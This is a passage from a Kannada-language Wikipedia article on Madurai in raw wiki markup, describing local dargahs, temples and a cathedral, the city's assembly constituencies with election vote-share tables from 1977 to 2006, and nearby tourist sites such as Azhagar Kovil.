dargah.jpg|thumb|right|ತಿರುಪ್ಪರಂಕುಂದರಂ ಬೆಟ್ಟಗಳ ಮೇಲಿನ ಹಜರತ್‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ ದರ್ಗಾ.]] ತಿರುಪರಾಕುಂದ್ರಂ ಮಧುರೈ ನಗರ ಕೇಂದ್ರದಿಂದ 8&nbsp;km ಅಥವಾ 5 ಮೈಲುಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. ತಿರುಪರಾಕುಂದ್ರಂ ದೇವಾಲಯವು ಮಧುರೈನ ಜನರಂತೆಯೇ ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯಕ್ಕೆ ಸಂಕೇತವಾಗಿದೆ. 13ನೇ ಶತಮಾನದ ಮೊದಲಭಾಗದಲ್ಲಿ [[ಮದೀನಾ]]ದ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸೈಯದ್‌ ಇಬ್ರಾಹಿಂ ಷಹೀದ್‌ ಬಾದುಷಾರೊಡನೆ [[ಜೆಡ್ಡಾ]]ದಿಂದ ಇಲ್ಲಿಗೆ ಬಂದಿದ್ದ (ಈಗ [[ರಾಮನಾಥಪುರಂ ಜಿಲ್ಲೆ]]ಯ [[ಇರವಾಡಿ]]ಯಲ್ಲಿರುವ) [[ಮಹಮ್ಮದೀಯ]] ಸಂತ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ ರಡಿಯಲ್ಲಾಹ್‌‌ ತಾ'ಅಲ್‌ ಅನ್ಹುರ ಸಮಾಧಿಯಿರುವ, ಮಹಮ್ಮದೀಯ ದರ್ಗಾ(ದೇಗುಲ)ವೊಂದು ಬೆಟ್ಟದ ಮೇಲಿದೆ. [[ತಮಿಳುನಾಡು]] ಮತ್ತು [[ಕೇರಳ]]ದ ಎಲ್ಲಾ ಭಾಗಗಳ ಜನರು [[ಧರ್ಮ]]ದ ಹಂಗಿಲ್ಲದೇ ಈ ದರ್ಗಾಕ್ಕೆ ಭೇಟಿ ನೀಡುತ್ತಾರೆ. [[ರಾಮನಾಥಪುರಂ ಜಿಲ್ಲೆ]]ಯ [http://www.ervadi.com ಇರವಾಡಿ ದರ್ಗಾ] ಕ್ಕೆ ಭೇಟಿ ನೀಡಿದವರು ಈ ದರ್ಗಾಕ್ಕೆ ಭೇಟಿ ನೀಡಲೇಬೇಕು ಎಂಬ ನಿಯಮವಿದೆ. [http://www.maqbara.com ಮಧುರೈ ಹಜರತ್‌ಗಳ] ಲ್ಲಿ ಮೂರನೆಯವರಾದ ಸೈಯದ್‌ ಅಬ್ದುಸ್ಸಲಾಂ ಇಬ್ರಾಹಿಂ ಸಾಲಿಂ ಹಜರತ್‌‌ ಹಾಗೂ ಅವರ ಮಾತೃ ಮೂಲದ ಮೊಮ್ಮಗ ಸೈಯದ್‌ ಅಬ್ದುಸ್‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂ ಸಾಹಿಬ್‌ ಹಜರತ್‌ರು ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾರನ್ನು ಸ್ತುತಿಸಿ ಅನೇಕ ಕವಿತೆಗಳನ್ನು ರಚಿಸಿದ್ದಾರೆ. ಇಲ್ಲಿಗೆ ಬೇಡಿಕೆಯ ಹರಕೆಯೊಡನೆ ಬರುವವರ ಬೇಡಿಕೆಗಳು ಬಹಳ ಬೇಗನೇ ಕೈಗೂಡುವುದೆಂಬ ನಂಬಿಕೆ ಇರುವ ಕಾರಣ ಅವರನ್ನು ''ಮುಸ್ತಜಬ್‌ ಅದ್‌ ದು'ಆ'' ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಎಂದು ಕರೆಯುತ್ತಾರೆ. [[ಅರೇಬಿಕ್‌]] ಭಾಷೆಯಲ್ಲಿ ''ಮುಸ್ತಜಬ್‌ ಅದ್‌ ದು'ಆ'' ಎಂದರೆ [[ಅಲ್ಲಾಹ]]ನಿಂದ ತನ್ನ [[ಬಿನ್ನಹಗಳನ್ನು]] ತಕ್ಷಣವೇ ಈಡೇರಿಸಿಕೊಳ್ಳಬಲ್ಲ ಸಂತ ಎಂದರ್ಥ. ಪ್ರತಿ ಹಿಜ್ರಿ ವರ್ಷದ [[ರಜಬ್‌]] ಮಹಮ್ಮದೀಯ ತಿಂಗಳಿನ 17ನೇ ರಾತ್ರಿ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ರ ಸ್ಮಾರಕ ವಾರ್ಷಿಕ ಉರುಸ್‌ ಉತ್ಸವವನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. <br />ಸಾಂಪ್ರದಾಯಿಕ ದಂತಕಥೆಯ ಪ್ರಕಾರ ಮುರುಗನ್‌ ದೇವಾನೈ/ದೇವಯಾನಿ/ದೇವೈನೈಳನ್ನು ಮುರುಗನ್‌‌ನ ಆರು ಪವಿತ್ರ [[ನಿವಾಸ]]ಗಳಲ್ಲಿ (ಅರುಪಾದೈ ವೀಡು, ಎಂದರೆ "ಆರು ಯುದ್ಧ ಶಿಬಿರಗಳು") ಮೊದಲನೆಯದಾದ <ref>{{cite web|url= http://www.murugan.org/temples/parankundram.htm |title=Tirupparankundram | accessdate = 2007-05-26}}</ref><ref>{{cite web|url=http://www.maduraidirectory.com/tourism/thiru.php|title= The first Aru Padai Veedu|accessdate = 2007-05-25}}</ref> ತಿರುಪರಾಕುಂದ್ರಂ ಮುರುಗನ್‌‌ ದೇವಾಲಯದಲ್ಲಿ ಮದುವೆಯಾದನೆಂದು ಪ್ರತೀತಿ ಇದೆ ಈ ಆಹ್ವಾನವೀಯುವ ಗುಹಾಲಯವು ಮೀನಾಕ್ಷಿ ದೇಗುಲಕ್ಕಿಂತ ಹಳೆಯದಾಗಿರುವುದಲ್ಲದೇ, ವಿಶೇಷವಾಗಿ ಮಹಿಳೆಯರು ಮೊಂಬತ್ತಿ/ಕಂದೀಲು/ದೀಪಗಳನ್ನು ಹಚ್ಚಿಡುವ ಅಥವಾ ದೇಗುಲದ ನೆಲದ ಸುತ್ತಲೂ ಕುಳಿತು ಬಣ್ಣಬಣ್ಣದ ಪುಡಿಗಳನ್ನು, ಬೂದಿ ಮತ್ತು ಹೂವುಗಳನ್ನು ಬಳಸಿ ''ಕೋಲಂ'' ಅಥವಾ ''ರಂಗೋಲಿ'' ವಿನ್ಯಾಸಗಳನ್ನು ದುರ್ಗಾದೇವಿಗೆ ಕಾಣಿಕೆಯಾಗಿ ಪ್ರದರ್ಶಿಸುವ ಶುಕ್ರವಾರಗಳಂದು ಮೀನಾಕ್ಷಿ ದೇಗುಲಕ್ಕಿಂತ ಪವಿತ್ರ ವಾತಾವರಣ ನಿರ್ಮಾಣವಾಗಿರುತ್ತದೆ<ref name="FrommersIndia" />. === ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾ === [[ಚಿತ್ರ:Gorippalayam.jpg|right|thumb|180px|ಉರುಸ್‌ನ ಸಮಯದಲ್ಲಿ ಗೋರಿಪ್ಪಾಲಯಂ ದರ್ಗಾ.]] ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ಎಂಬ ಹೆಸರು '''''ಸಮಾಧಿ'' ''' ಎಂಬರ್ಥ ಬರುವ [[ಪರ್ಷಿಯನ್‌]] ಪದ '''''ಗೊರ್‌'' ''' ನಿಂದ ವ್ಯುತ್ಪನ್ನಗೊಂಡಿದೆ. ಇಬ್ಬರು ಪ್ರಖ್ಯಾತ [[ಮಹಮ್ಮದೀಯ]] ಸಂತರು ಮತ್ತು ಮಧುರೈನ ರಾಜರುಗಳಾಗಿದ್ದ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಅಲಾವುದ್ದೀನ್‌ ಬಾದುಷಾ (ರಡಿಯಲ್ಲಾಹ್‌‌) ಮತ್ತು ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಷಂಸುದ್ದೀನ್‌ ಬಾದುಷಾ (ರಡಿಯಲ್ಲಾಹ್‌‌)ರ ಸಮಾಧಿಗಳು ಇಲ್ಲಿರುವುದರಿಂದ ಈ ಪ್ರದೇಶವನ್ನು ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ಎಂದು ಕರೆಯುತ್ತಾರೆ. ಮಧುರೈನ A.V.ಸೇತುವೆಯಿಂದ ಸುಂದರವಾದ ಹಸಿರು ಬಣ್ಣದ ಸಮಾಧಿಯನ್ನು ನೋಡಬಹುದಾಗಿದ್ದು, ಅದು [[ವೈಗೈ ನದಿ]]ಯ ಉತ್ತರದ ದಂಡೆಯ ಮೇಲಿರುವ ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾ ಆಗಿದೆ. ಇಲ್ಲಿ ವಿಸ್ಮಯಗೊಳಿಸುವ ವಿಚಾರವೆಂದರೆ 20 ಅಡಿ ಎತ್ತರದ ಹಾಗೂ 70 ಅಡಿ ವ್ಯಾಸದ ಸಮಾಧಿಯು ಅಜ್ಹಗಾ ಬೆಟ್ಟದಿಂದ ತಂದಿದ್ದ ಏಕಶೀಲೆಯಲ್ಲಿ ನಿರ್ಮಿತವಾದುದಾಗಿದೆ. [[ತಮಿಳುನಾಡಿನ]] ಎಲ್ಲಾ ಭಾಗಗಳಿಂದಲೂ ಜನರು ಇಲ್ಲಿಗೆ ಬಂದು ಆಶೀರ್ವಾದಗಳನ್ನು ಪಡೆದು ತೃಪ್ತರಾಗಿ ಹಿಂತಿರುಗುತ್ತಾರೆ. ಇಬ್ಬರು ಮುಸ್ಲಿಂ ರಾಜರುಗಳು ಸಹೋದರರಾಗಿದ್ದು 13ನೇ ಶತಮಾನದಲ್ಲಿ [[ಓಮನ್‌]]ನಿಂದ ಇಲ್ಲಿಂದ [[ಇಸ್ಲಾಂ]] ಧರ್ಮವನ್ನು ಹರಡಲು ಬಂದು ಮಧುರೈನ ಉತ್ತರ ಭಾಗವನ್ನು ಆಳಿದ್ದರು. ಖಾಜಿ ಮಾರ್‌ ಬೀದಿಯ ಹಜರತ್‌‌ ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನ್‌ ರಡಿಯಲ್ಲಾಹ್‌‌ರು ಅವರಿಗೆ Govt. [[ಖಾಜಿ]](ಮಹಮ್ಮದೀಯ ಕಾನೂನು ಸಲಹೆಗಾರ ಮತ್ತು ನ್ಯಾಯಾಧೀಶ )ಯಾಗಿದ್ದರು. ದರ್ಗಾದಲ್ಲಿರುವ [[ಮಕ್‌ಬರಾ]]ದ ಆವರಣದ ಹೊರಭಾಗದಲ್ಲಿ ಒಂದು ಪ್ರಾಚೀನ [[ತಮಿಳು]] [[ಶಾಸನ/ಶಿಲಾಲೇಖ]]ವನ್ನು ನೋಡಬಹುದು. ಈ [[ಶಾಸನ]]ದ ಮೇಲಿನ ಮಾಹಿತಿಯ ಅರ್ಥವೇನೆಂದರೆ, "ಸುಲ್ತಾನ್‌ ಅಲಾವುದ್ದೀನ್‌ ಬಾದುಷಾ, ಮತ್ತು ಸುಲ್ತಾನ್‌ ಷಂಸುದ್ದೀನ್‌ ಬಾದುಷಾ ([[ದೆಹಲಿ]]ಯ ಸುಲ್ತಾನ್‌ರುಗಳೆಂದು ಕರೆಯಲ್ಪಡುವ)ರ ವಂಶಸ್ಥರು ಆಗಿನ ರಾಜ ಕೂ(ನ್‌‌) ಪಾಂಡಿಯನ್‌ರಿಂದ ಒಂದು ಅಡಿ ಉದ್ದದ [[ಚಿನ್ನ]]ವನ್ನು ಕೊಟ್ಟು ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾದ ಸ್ಥಳವನ್ನು ಹಾಗೂ ಇತರ ಆರು ಹಳ್ಳಿಗಳನ್ನು (ಅರ್ಥಾತ್‌ ಬೀಬಿಕುಲಂ, ಚೊಕ್ಕಿಕುಲಂ, ಚೋಲಿಕುಡಿ, ಚಿರುದೂರ್‌, ಕನ್ನನೆಂಡಲ್‌, ತಿರುಪ್ಪಾಲೈ ) 14,000 ಚಿನ್ನದ ನಾಣ್ಯಗಳ ಬೆಲೆಗೆ ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾದ ನಿರ್ವಹಣೆಗಾಗಿ ಕೊಂಡುಕೊಂಡಿದ್ದಾರೆ". ವೀರಪ್ಪ [[ನಾಯಕ್ಕರ್‌]]ರ ಆಳ್ವಿಕೆಯ ಕಾಲದಲ್ಲಿ ದರ್ಗಾದ ಹಕ್‌ದಾರ್‌ರಿಗೂ ಹಾಗೂ ನಾಯಕ್ಕರ್‌ ಸರ್ಕಾರದ ನೌಕರರಿಗೂ ಆರು ಹಳ್ಳಿಗಳ ಕುರಿತಂತೆ ವಾಗ್ವಾದ ಆರಂಭವಾಯಿತು. ಈ ಮೊಕದ್ದಮೆಯನ್ನು ರಾಜ ವೀರಪ್ಪ ನಾಯಕ್ಕರ್‌ರ ಮುಂದೆ ಬಿನ್ನವಿಸಿದಾಗ, ವಿಚಾರಣೆ ನಡೆಸಿದ ರಾಜನು ಕೂ(ನ್‌‌) ಪಾಂಡಿಯನ್‌ರಿಂದ ಬರೆಸಲ್ಪಟ್ಟ ದಾಖಲೆಗಳನ್ನು ಪರಿಶೀಲಿಸಿ 1573 A.D.ಯಲ್ಲಿ ಆರು ಹಳ್ಳಿಗಳು ಹಾಗೂ ದರ್ಗಾದ ಪ್ರದೇಶವು ಸುಲ್ತಾನ್‌ರ ವಂಶಸ್ಥರಿಗೆ ಸೇರಿದ್ದು ಹಾಗೂ ಇದು ಸೂರ್ಯ ಚಂದ್ರರಿರುವವರೆಗೆ ಅವರ ಉಪಭೋಗದಲ್ಲೇ ಉಳಿಯತಕ್ಕದ್ದು, ಹಾಗೂ ಇದನ್ನು ಉಲ್ಲಂಘಿಸಿದವನು [[ಗಂಗಾನದಿ]]ಯ ದಂಡೆಯ ಮೇಲೆ ಗೋವಿನ ವಧೆ ಮಾಡಿದ ಪಾಪಕ್ಕೆ ಗುರಿಯಾಗುತ್ತಾನೆ ಎಂದು ತನ್ನ ತೀರ್ಪನ್ನು ನೀಡಿದನು" ಈ ಶಾಸನವನ್ನು 13ನೇ ಶತಮಾನದಿಂದಲೂ ದರ್ಗಾ ಅಸ್ತಿತ್ವದಲ್ಲಿದೆಯೆಂಬುದನ್ನು ರುಜುವಾತುಪಡಿಸುವ ಪ್ರಮಾಣವಾಗಿ ಗಣಿಸಲಾಗಿದೆ. ಪ್ರತಿ [[ಹಿಜ್ರಿ]] ವರ್ಷದ [[ರಬಿ ಅಲ್‌-ಅವ್ವಲ್‌]] ಮಹಮ್ಮದೀಯ ತಿಂಗಳಿನ 15ನೇ ರಾತ್ರಿ ಈ ದರ್ಗಾದ ವಾರ್ಷಿಕ ಉರುಸ್‌ ಉತ್ಸವವನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. {{-}} === ಕೂದಲ್‌ ಅಜ್ಹಗರ್‌ ಕೋಯಿಲ್‌ === ಇಲ್ಲಿ ನವಗ್ರಹಗಳನ್ನೂ ಹೊಂದಿರುವ ಸುಂದರವಾದ ವಿಷ್ಣು ದೇವಾಲಯವಿದೆ (ಸಾಮಾನ್ಯವಾಗಿ ನವಗ್ರಹಗಳು ಶಿವ ದೇವಾಲಯಗಳಲ್ಲಿ ಮಾತ್ರವೇ ಇರುತ್ತವೆ). ಈ ದೇವಾಲಯಕ್ಕೆ ಸಮೀಪದಲ್ಲಿಯೇ ಹಯಗ್ರೀವರ್‌ (ಕುದುರೆ/"ಹಯ"ಗ್ರೀವ ಅವತಾರವಿದು) ಪ್ರಮುಖ ದೇವರಾಗಿರುವ ಹಯಗ್ರೀವರ್‌ ದೇವಾಲಯವಿದೆ. ನೀರಿನಲ್ಲಿ ಮುಳುಗಿದ್ದ ಮಹಾಕಾವ್ಯವನ್ನು ಮತ್ತೆ ಭೂಮಿಗೆ ಹಯಗ್ರೀವರ್‌ ದೇವರೇ ತಂದ ಕಾರಣ ಬಹಳಷ್ಟು ಜನ ವಿದ್ಯಾರ್ಥಿಗಳು ತಮ್ಮ ದೈನಂದಿನ ಪ್ರಾರ್ಥನೆಯನ್ನು ಇಲ್ಲಿಯೇ ಮಾಡುತ್ತಾರೆ. ನಗರದ ಮಧ್ಯಭಾಗದಲ್ಲಿರುವ ದೇವಾಲಯಗಳಲ್ಲಿ ಇದೂ ಒಂದಾಗಿದೆ. ಇದು ಖಾಜಿ ಮಾರ್‌ ಬೃಹತ್‌ ಮಸೀದಿ (ಪೆರಿಯಾ ಪಲ್ಲಿವಾಸಲ್‌)ಯ ಉತ್ತರಕ್ಕೆ 100 mtrsಗಳಷ್ಟು ದೂರದಲ್ಲಿದ್ದರೆ, ಸುನ್ನಂಬುಕರ ಬೀದಿಯ ದಕ್ಷಿಣಕ್ಕಿದೆ. ಈ ದೇವಾಲಯವು [[ಮೀನಾಕ್ಷಿ ದೇವಾಲಯ]]ಕ್ಕಿಂತ ಹಳೆಯದೆಂದು ಹೇಳಲಾಗುತ್ತದೆ. ಈ ದೇವಾಲಯದ ಬಳಿಯಲ್ಲೇ ಮತ್ತೊಂದು ಶಿವ ದೇವಾಲಯವಿದೆ ಹಾಗೂ ಆ ದೇವಾಲಯವನ್ನು ನನ್ಮೈ ತರುವರ್‌ ದೇವಾಲಯವೆಂದು ಕರೆಯುತ್ತಾರೆ. ದಂತಕಥೆಯ ಪ್ರಕಾರ ತಾನು ಮಧುರೈನ ಚಕ್ರವರ್ತಿ/ರಾಜನಾಗಿದ್ದಾಗ ಸ್ವತಃ ಶಿವನೇ ಕಟ್ಟಿಸಿದ್ದ ದೇವಾಲಯವಾಗಿದೆ. ಈಗಲೂ ಸಹಾ ದೇವಾಲಯದ ಕರುವರಿಯಲ್ಲಿ ಮೀನಾಕ್ಷಿ ಲಿಂಗವನ್ನು ಪೂಜಿಸುತ್ತಿರುವ ಹಾಗೂ ಪೂರ್ಣರೂಪದ ಶಿವನ ಭವ್ಯ ಮೂರ್ತಿಯನ್ನು ಕಾಣಬಹುದು. ಮತ್ತೊಂದು ಗಮನಾರ್ಹ ವೈಷ್ಣವ/ವಿಷ್ಣು ದೇವಾಲಯವೆಂದರೆ ಕೋಡಲ್‌ ಅಜ್ಹಗರ್‌ ದೇವಾಲಯದ ಬಳಿಯಿರುವ ಕೃಷ್ಣ ದೇವರಿಗೆ ಮೀಸಲಾಗಿರುವ ಮದನ ಗೋಪಾಲನ್‌ ದೇವಾಲಯವಾಗಿದೆ. === St. ಮೇರಿಯ ಕ್ಯಾಥೆಡ್ರಲ್‌ ಚರ್ಚ್‌/ಇಗರ್ಜಿ === ಮಧುರೈನ St. ಮೇರಿಯ ಕ್ಯಾಥೆಡ್ರಲ್‌ [[ಮಧುರೈ ಬಿಷಪ್ಪರ ಪ್ರಾಂತ್ಯದ ರೋಮನ್‌ ಕ್ಯಾಥೊಲಿಕ್‌‌]] ಪೀಠವಾಗಿದೆ. ಇದು [[ಭಾರತ]]ದಲ್ಲಿರುವ ಪ್ರಾಚೀನ [[ರೋಮನ್‌ ಕ್ಯಾಥೊಲಿಕ್‌‌]] ಇಗರ್ಜಿಗಳಲ್ಲಿ ಒಂದಾಗಿದ್ದು ಮಧುರೈ ರೈಲು ನಿಲ್ದಾಣದ ಆಗ್ನೇಯ ದಿಕ್ಕಿನಲ್ಲಿ 2&nbsp;km ದೂರದಲ್ಲಿ ಹಾಗೂ ತಿರುಮಲೈ ನಾಯಕ್‌ ಮಹಲ್‌ನಿಂದ 200 ಮೀಟರ್‌ಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. {{-}} == ರಾಜಕೀಯ == === ರಾಜ್ಯ ಶಾಸನಸಭೆ === ಮಧುರೈ ನಗರವನ್ನು ರಾಜ್ಯ ಶಾಸನಸಭೆಯ ಮೂರು ಕ್ಷೇತ್ರಗಳನ್ನಾಗಿ ವಿಭಜಿಸಲಾಗಿದೆ. ಅವುಗಳೆಂದರೆ [[ಪೂರ್ವ ಮಧುರೈ]], [[ಕೇಂದ್ರ ಮಧುರೈ]] ಮತ್ತು [[ಪಶ್ಚಿಮ ಮಧುರೈ]]. 2009ರ [[ಗಡಿನಿರ್ಣಯ]]ದ ನಂತರ, [[ಉತ್ತರ ಮಧುರೈ]] ಮತ್ತು [[ದಕ್ಷಿಣ ಮಧುರೈ]] ಕ್ಷೇತ್ರಗಳನ್ನು ರಚಿಸಲಾಗಿದೆ. CPI ಮತ್ತು CPMಗಳಂತಹಾ ಎಡ ಪಕ್ಷಗಳಿಗೆ ಗಮನಾರ್ಹ ಬೆಂಬಲವಿದೆ, ಇದು ವಿಶೇಷವಾಗಿ ಪೂರ್ವ ಮಧುರೈನಲ್ಲಿ ಹೆಚ್ಚು. ಸಾಮಾನ್ಯವಾಗಿ ಎಡ ಪಕ್ಷಗಳು ಇತ್ತೀಚೆಗೆ DMK ಅಥವಾ ADMKಗಳೊಂದಿಗೆ ಮೈತ್ರಿ ಮಾಡಿಕೊಂಡಿದ್ದು, ಪರಿಣಾಮವಾಗಿ ಮಧುರೈ CPM MLAಗಳನ್ನು ಹೊಂದಿದೆ. ಆದರೆ 1977ರಿಂದ, 1996 ಮತ್ತು 2001ರಲ್ಲಿ [[ತಮಿಳು ಮಾನಿಲಾ ಕಾಂಗ್ರೆಸ್‌]]ನವರು DMK ಮತ್ತು ADMKಗಳೊಂದಿಗೆ ಮೈತ್ರಿ ಮಾಡಿಕೊಂಡಾಗ ಮೇಲುಗೈ ಸಾಧಿಸಿದ್ದನ್ನು ಹೊರತುಪಡಿಸಿದರೆ ADMK ಮತ್ತು DMK ಪಕ್ಷಗಳು ಈ ಪ್ರದೇಶದಲ್ಲಿ ಪ್ರಭಾವಶಾಲಿಯಾಗಿವೆ. ಹಾಗೆಯೇ 1984 ಮತ್ತು 1991ರಲ್ಲಿ ಕಾಂಗ್ರೆಸ್‌ ಕೂಡಾ ADMKನೊಂದಿಗೆ ಮೈತ್ರಿ ಮಾಡಿಕೊಂಡಾಗ ಗೆಲುವು ಕಂಡಿತ್ತು. ರಾಜಕಾರಣಿಯಾದ ಬದಲಾದ ನಟ [[M.G. ರಾಮಚಂದ್ರನ್‌]]ರು ಗೆಲುವು ಪಡೆದ ಅನೇಕ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಪಶ್ಚಿಮ ಮಧುರೈ ಕ್ಷೇತ್ರವು ಸಹಾ ಒಂದು. [[1980ರ ತಮಿಳುನಾಡು ಶಾಸನಸಭೆಯ ಮರುಚುನಾವಣೆ]]ಯಲ್ಲಿ ಈ ಕ್ಷೇತ್ರದಿಂದ ಗೆದ್ದಿದ್ದರು. {| class="wikitable" style="float:left;margin:1em 0 1em 1em;font-size:95%" |+ <td>'''ಪೂರ್ವ ಮಧುರೈ ಮತಗಳು ''' <br />''' ಶಾಸನಸಭೆ ಚುನಾವಣೆಗಳ ಮೈತ್ರಿಯಿಂದ ದೊರಕಿದ ಮತಗಳು''' </td> |- ! ವರ್ಷ ![[AIADMK+]] ![[DMK+]] |- style="text-align:center" | style="background:honeyDew"|'''[[2006]]''' | style="background:honeyDew"|'''43.7%''' ''57,208'' | style="background:#fff3f3"|41.0% ''53,741'' |- style="text-align:center" | style="background:honeyDew"|'''[[2001]]''' | style="background:honeyDew"|'''48.1%''' ''48,465'' | style="background:#fff3f3"|47.4% ''47,757'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1996]]''' | style="background:honeyDew"|17.7% ''17,465'' | style="background:#fff3f3"|'''62.4%''' ''61,723'' |- style="text-align:center" | style="background:honeyDew"|'''[[1991]]''' | style="background:honeyDew"|'''63.4%''' ''59,586'' | style="background:#fff3f3"|34.7% ''32,664'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1989*]]''' | style="background:honeyDew"|20.3% ''20,871'' | style="background:#fff3f3"|'''44.3%''' ''45,579'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1984]]''' | style="background:honeyDew"|47.9% ''45,131'' | style="background:#fff3f3"|'''51.2%''' ''48,247'' |- style="text-align:center" | style="background:honeyDew"|'''[[1980]]''' | style="background:honeyDew"|'''59.6%''' ''57,019'' | style="background:#fff3f3"|37.6% ''35,953'' |- style="text-align:center" | style="background:honeyDew"|'''[[1977]]''' | style="background:honeyDew"|'''43.1%''' ''32,342'' | style="background:#fff3f3"|21.6% ''16,211'' |} {| class="wikitable" style="margin:auto;margin:1em 0 1em 1em;font-size:95%" |+ <td>'''ಕೇಂದ್ರ ಮಧುರೈ''' <br />''' ಶಾಸನಸಭೆ ಚುನಾವಣೆಗಳ ಮೈತ್ರಿಯಿಂದ ದೊರಕಿದ ಮತಗಳು''' </td> |- ! ವರ್ಷ ![[AIADMK+]] ![[DMK+]] |- style="text-align:center" | style="background:#fff3f3"|'''[[2006]]''' | style="background:honeyDew"|38.2% ''35,992'' | style="background:#fff3f3"|'''45.8%''' ''43,185'' |- style="text-align:center" | style="background:honeyDew"|'''[[2001]]''' | style="background:honeyDew"|'''46.5%''' ''34,393'' | style="background:#fff3f3"|46.3% ''34,246'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1996]]''' | style="background:honeyDew"|14.6% ''11,841'' | style="background:#fff3f3"|'''46.7%''' ''38,010'' |- style="text-align:center" | style="background:honeyDew"|'''[[1991]]''' | style="background:honeyDew"|'''62.3%''' ''47,325'' | style="background:#fff3f3"|35.2% ''26,717'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1989*]]''' | style="background:honeyDew"|13.3% ''11,243'' | style="background:#fff3f3"|'''46.0%''' ''33,484'' |- style="text-align:center" | style="background:honeyDew"|'''[[1984]]''' | style="background:honeyDew"|'''50.8%''' ''41,272'' | style="background:#fff3f3"|48.0% ''39,012'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1980]]''' | style="background:honeyDew"|'''58.1%''' ''45,700'' | style="background:#fff3f3"|40.2% ''31,566'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1977]]''' | style="background:honeyDew"|'''39.9%''' ''29,399'' | style="background:#fff3f3"|19.9% ''14,676'' |} * ಸೂಚನೆ: 1989ರಲ್ಲಿ, [[ಜಾನಕಿ ಬಣ]] ಮತ್ತು [[ಜಯಲಲಿತಾ ಬಣ]]ವೆಂದು ADMK ಎರಡು ಬಣಗಳಾಗಿ ವಿಭಜಿತವಾಯಿತು. ಜಾನಕಿ ಬಣ ಮಾತ್ರವೇ ಪೂರ್ವ ಮಧುರೈ ಮತ್ತು ಕೇಂದ್ರ ಮಧುರೈ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಸ್ಪರ್ಧಿಸಿತು. === ಲೋಕಸಭೆ === ಮಧುರೈನ ಎಲ್ಲಾ ಐದು ಕ್ಷೇತ್ರಗಳೂ ಮಧುರೈ (ಲೋಕಸಭಾ ಕ್ಷೇತ್ರ )ದ ಭಾಗವಾಗಿದೆ<ref>{{cite web | url = http://archive.eci.gov.in/se2001/background/S22/TN_ACPC.pdf | title = List of Parliamentary and Assembly Constituencies | accessdate = 2008-10-08 | work = Tamil Nadu | publisher = Election Commission of India }}</ref> == ಮಧುರೈನ ಸುತ್ತಮುತ್ತಲಿರುವ ಪ್ರವಾಸೀ ತಾಣಗಳು == ಮಧುರೈ ನಗರವು ಆಯಕಟ್ಟಿನ ಸ್ಥಳದಲ್ಲಿರುವುದರಿಂದ ದಕ್ಷಿಣ [[ತಮಿಳುನಾಡಿನ]] ಪ್ರವಾಸೋದ್ಯಮ ಕೇಂದ್ರವಾಗಿ ರೂಪುಗೊಂಡಿದೆ. [http://www.carrentalmadurai.com/Travel/ ಮಧುರೈನ ಸುತ್ತಮುತ್ತಾ ಸಂದರ್ಶಕರು ನೋಡಬಯಸುವ ಪ್ರವಾಸೀ ಸ್ಥಳಗಳು] {{Webarchive|url=https://web.archive.org/web/20091202042311/http://www.carrentalmadurai.com/travel/ |date=2009-12-02 }} ಅನೇಕವಿವೆ. * [[ಅಜ್ಹಗರ್‌ ಕೋವಿಲ್‌]] ನಗರದಿಂದ ಸುಮಾರು 25&nbsp;km ದೂರವಿರುವ ಇದೊಂದು ವಿಷ್ಣು ದೇವಾಲಯ. ಈ ಸ್ಥಳವನ್ನು ಬೆಟ್ಟಗಳು ಸುತ್ತುವರೆದಿವೆ. ಈ ದೇವಾಲಯದ ಪ್ರಧಾನ ದೇವತೆಯೆಂದರೆ ಕಲ್ಲಜ್ಹಗರ್‌. ಚಿತ್ತಿರೈ ತಿರುವಿಜ್ಹಾ ಎಂಬ [[ತಮಿಳು ಹೊಸ ವರ್ಷ]]ದ ಉತ್ಸವವನ್ನು ಅನೇಕ ಶತಮಾನಗಳಿಂದ ಇದೇ ದೇವಾಲಯದಲ್ಲಿ ಆಚರಿಸಿಕೊಂಡು ಬರಲಾಗುತ್ತಿದೆ. 